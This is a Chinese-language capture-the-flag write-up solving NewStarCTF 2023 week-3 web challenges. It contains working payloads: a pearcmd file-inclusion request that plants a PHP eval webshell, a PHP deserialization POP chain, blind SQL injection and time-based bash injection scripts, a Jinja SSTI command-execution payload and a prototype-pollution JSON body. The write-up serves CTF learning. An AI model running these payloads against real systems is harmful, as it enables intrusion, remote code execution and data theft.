NewStarCTF 2023
第三周
Web
Include 🍐
进去看到是 include 文件包含,然后提示我们去看 phpinfo.php
访问查看后发现提示
提示让我们查看register_argc_argv
查看过后发现为 on
然后去了解这是啥东西以及相应的利用方式, 下面的文章和博客解释了相关的背景知识
https://cloud.tencent.com/developer/article/2204400
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/
https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
然后开始利用
抓包 get 传参,将后门文件写入 test.php
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
这里最好还是抓包传参,因为浏览器可能会将尖括号编码导致失效。
然后蚁剑连接即可
http://4ca28fd7-fce6-441b-a544-3835560f196c.node4.buuoj.cn:81/?file=/tmp/test
POP Gadget
一个简单的 pop 链的构造
经过梳理后发现了构造链
Begin:__destruct->Then:__toString->Super:__invoke->Handle:__call->CTF:__end->WhiteGod:__unset
new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod())))));
<?php
class Begin{
public $name;
public function __construct($a)
{$this->name=$a;}
}
class Then{
private $func;
public function __construct($a)
{$this->func=$a;}
}
class Handle{
protected $obj;
public function __construct($a)
{$this->obj=$a;}
}
class Super{
protected $obj;
public function __construct($a)
{$this->obj=$a;}
}
class CTF{
public $handle;
public function __construct($a)
{$this->handle=$a;}
}
class WhiteGod{
public $func="readfile";
public $var="/flag";
}
$pop=new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod())))));
echo urlencode(serialize($pop));
#O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
medium_sql
经典的盲注,自己写的脚本太拉了,总是出问题,这里引用一下官方的脚本吧
def condition(res):
if 'Physics' in res.text:
return True
return False
result = ''
_url = 'http://ac3e5572-5167-4e4a-946f-2f33f61345c5.node4.buuoj.cn:81/'
import time
import requests
for _time in range(1,1000):
print("time:%d" % (_time))
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
#获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 防止请求速率过快
time.sleep(0.2)
res = requests.get(url=url)
if (condition(res)):
result += chr(mid)
print(result)
break
else:
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
#获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
res = requests.get(url=url)
if (condition(res)):
left = mid
else:
right = mid
R!!!C!!!E!!!
进来代码审计,发现是个简单的反序列化外加 rce。
rce 过滤了许多,考虑到可不可能是 bash 盲注。
最后看了看官方脚本
import time
import requests
url = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii 码表
for k in range(32,127):
k=chr(k)
payload =f"if [`cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
length=len(payload)
payload2 ={"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >1.5:
result+=k
print(result)
result += " "
原理和 sql 时间盲注差不多。
其中,awk 是用来逐行获取数据,例如 awk NR==1
就是获取第一行数据 而 cut -c 1
就是逐列获取单个字符。
然后根据时间来判断是否存在字符。
同时,此题还有非预期解,利用 ls /|script 123;sleep 2
可以把根目录的内容存到文件 123 中,然后访问即可。
因此我们可以 cat /flag_is_h3eeere|script 1234;sleep 2
然后把内容存到 123 中,然后访问即可。
如果 tee 没有被过滤,script 也可以用 tee 代替。
此非预期解前提一定要是有读写权限才可,没有读写权限还是老老实实去盲注吧!
最后是用来反序列化的代码
<?php
class minipop{
public $code;
public $qwejaskdjnlka;
}
$payload = new minipop();
$payload->qwejaskdjnlka=new minipop();
$payload->qwejaskdjnlka->code=" ls / |script xxx;sleep 2";
echo serialize($payload);
GenShin
进入环境,查看各种信息后果断抓包,看到应答包里有提示。
进入后发现可能存在 ssti 模板注入
测试发现,{}
被过滤,于是尝试%%
, 最后发现好多的内置函数均被 ban 掉。
看了 wp 才发现可以使用get_flashed_message()
于是直接
{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}
找到 flag。
OtenkiGirl
抓包后发现了 info 路由,里面储存了一些信息,然后去查看源代码。在给出的 info.js 里面。
async function getInfo(timestamp) {timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e});
return data;
}
分析发现,首先判断传入的 timestamp 是否为数字,若不是,则取当前的时间。然后从 CONFIG.min_public_time
或者 DEFAULT_CONFIG.min_public_time
中取值并得到时间戳来新建一个 date 对象。紧接着与 timestamp 作比较,取最大值,然后 sql 查询大于此值的数据。
而根目录下的 config.js 中并没有发现 min_public_time。因此该处只是取 config,dafault.js 中的DEFAULT_CONFIG.min_public_time
。于是不难发现,此值就是关键,若大于此值,则 timestamp 为我们想传入的值,无法获得信息。而若是 timestamp 很小,则此处也不会取我们传入的值,而是取DEFAULT_CONFIG.min_public_time
。依旧无法获得信息。
于是考虑是不是可以修改此处的值DEFAULT_CONFIG.min_public_time
,使其为 0,从而方便我们获得信息。
然后抓包也发现了 submit 路由。
在 submit 路由中发现了 merge 函数,说明此处可能存在原型链污染。
const merge = (dst, src) => {if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {if (key in dst && key in src) {dst[key] = merge(dst[key], src[key]);
} else {dst[key] = src[key];
}
}
return dst;
}
因此,我们可以在上传信息时,污染原型链,来修改 min_public_time 的值为我们想要的时间。
抓包发现上传格式为 json 格式。
于是可以上传
{
"date":"",
"place":"",
"contact":"213",
"reason":"123",
"__proto__":{"min_public_time": "1001-01-01"}
}
然后我们访问 info/ 0 即可发现 flag。